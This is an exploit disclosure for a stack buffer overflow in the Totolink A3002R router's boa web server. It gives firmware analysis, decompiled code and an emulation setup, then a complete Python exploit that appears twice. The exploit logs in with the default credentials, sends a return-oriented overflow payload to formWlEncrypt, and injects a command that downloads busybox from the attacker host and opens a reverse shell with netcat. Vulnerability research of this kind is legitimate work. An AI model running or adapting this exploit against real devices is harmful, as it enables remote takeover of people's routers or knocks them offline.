[VERSION]
Totolink AC1200 Wireless Dual Band Gigabit Router A3002R Firmware V1.1.1-B20200824
PROBLEM TYPE
Buffer Overflow
[DESCRIPTION]
The router model A3002R from Totolink is vulnerable to a stack buffer overflow exploit in its firmware version A3002R_Firmware V1.1.1-B20200824, leading to arbitrary command execution or denial of service attacks.
Exploit Author:Yaxuan Wang
Date: April 25, 2024, 10:23:38
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
https://github.com/Swind1er/Video/raw/main/bandicam%202024-04-29%2014-38-17-214.mp4
AC1200 Wireless Dual Band Gigabit Router A3002R V1.1.1-B20200824
https://www.totolink.net/data/upload/20201021/022e389012d3c2ebe651b039c0088c60.zip
git clone https://github.com/Swind1er/Download
unzip ./A3002R-V1.1.1-B20200824.zip
cd A3002R-V1.1.1-B20200824
binwalk --run-as=root -Me ./TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
└─# readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x403fc0
└─# checksec ./bin/boa
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/root/Desktop/firmware/A3002R-V1.1.1-B20200824/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin/boa'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Architecture: MIPS little endian
File Location
A3002R-V1.1.1-B20200824/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin/boa
Vulnerable File
Using IDA to analyze the boa
file, at RVA: 0x00440C2C , there is a function responsible for adding WLAN SSID. This function is a sub-function of the CGI handler function formWlEncrypt
.
int __fastcall setWlan(int a1, int a2, int a3)
{
int v7; // [sp+18h] [-3Ch] BYREF
char v8[12]; // [sp+1Ch] [-38h] BYREF
char v9[44]; // [sp+28h] [-2Ch] BYREF
apmib_save_wlanIdx();
sprintf(v8, "wlan%d-vxd", a1);
sub_422694(v8);
apmib_get(1, v9);
if ( strcmp(v9, a3) && strcmp(a3, v9) )
{
v7 = 1;
apmib_set(0x110, &v7);
strcpy(v9, a3);
apmib_set(1, v9);
apmib_set(0x116, v9);
apmib_set(a2, v9);
}
sprintf(v8, "wlan%d", a1);
sub_422694(v8);
return apmib_recov_wlanIdx();
}
In the CGI handler function formWlEncrypt
of the web server (boa) in this firmware, the vendor only implemented simple character count control at the web front-end layer for the user-input wlan_ssid
field, without enforcing any character count limit at the backend. This leads to a stack overflow due to strcpy(wlan_name, field_name);
, subsequently resulting in arbitrary command execution or denial of service attacks. It's important to note that to reach the vulnerability point strcpy
, the vwlan_idx
field (RVA: 0x0048A1B0) needs to be greater than or equal to 5. In the function at RVA 0x00442CF8
, as shown in the following figure:
To make the vwlan_idx
field greater than or equal to five, you can invoke its CGI function formWlanRedirect
, with RVA 0x00407424
, as shown below:
To make the wlan_idx
field greater than or equal to 5, you need to construct the following request. Specific verification will be provided below.
-
FirmAE github:https://github.com/pr0v3rbs/FirmAE
-
gdb-multiarch
apt-get install gdb-multiarch
-
Python version >= 3.8 and install the requests and pwntools libraries. Gallopsled/pwntools: CTF framework and exploit development library (github.com)
pip install requests sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
-
busybox-mipsel Download here:Swind1er/Download (github.com)
-
netcat
sudo apt-get install netcat
For ease of validation, the author simulated the router firmware using FirmAE.
First, the router firmware is simulated. It takes some time during the initial simulation of the firmware using FirmAE.
/root/Desktop/firmware/A3002R-V1.1.1-B20200824/TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
After the router comes online, we can access its web control page. (In the FirmAE simulation, the IP assigned to this router model is 192.168.0.1, and the default username and password for this router model are both admin.)
Trigger the stack overflow.
ASLR is disabled by default in the real environment, so use the following command to disable ASLR in the simulation environment:
echo 0 > /proc/sys/kernel/randomize_va_space
Then run the following exploit:
import requests
import logging
from pwn import *
context.log_level = 'INFO'
logging.basicConfig(level=logging.INFO)
def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
requests.post(url, headers=headers, json=data)
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cef000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cef000
system = libc_base + 0x00031930
ra = libc_base + 0x00014F70
s2 = libc_base + 0x00031D04
ra_ = libc_base + 0x00008084
s5 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
payload_factory = b'submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0&80211v_enable_=disable\
&dot11k_=disable&SSID_Setting5=1\
&has_vwlan5=\
&wpaAuth5=psk\
&wpa11w5=none\
&wpa2EnableSHA2565=disable\
&ciphersuite5=aes\
&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0\
&wlan_ssid5='
payload_factory += b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
payload_factory += b'&method5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2\
&key5=**************************&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812\
&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=\
&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeformLogin()
attack()
if __name__ == "__main__":
main()
python ./exp.py
As shown in the image above, the shell has been successfully rebound.
import requests
import logging
from pwn import *
context.log_level = 'INFO'
logging.basicConfig(level=logging.INFO)
def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
requests.post(url, headers=headers, json=data)
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cef000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cef000
system = libc_base + 0x00031930
ra = libc_base + 0x00014F70
s2 = libc_base + 0x00031D04
ra_ = libc_base + 0x00008084
s5 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
payload_factory = b'submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0&80211v_enable_=disable\
&dot11k_=disable&SSID_Setting5=1\
&has_vwlan5=\
&wpaAuth5=psk\
&wpa11w5=none\
&wpa2EnableSHA2565=disable\
&ciphersuite5=aes\
&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0\
&wlan_ssid5='
payload_factory += b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
payload_factory += b'&method5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2\
&key5=**************************&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812\
&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=\
&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeformLogin()
attack()
if __name__ == "__main__":
main()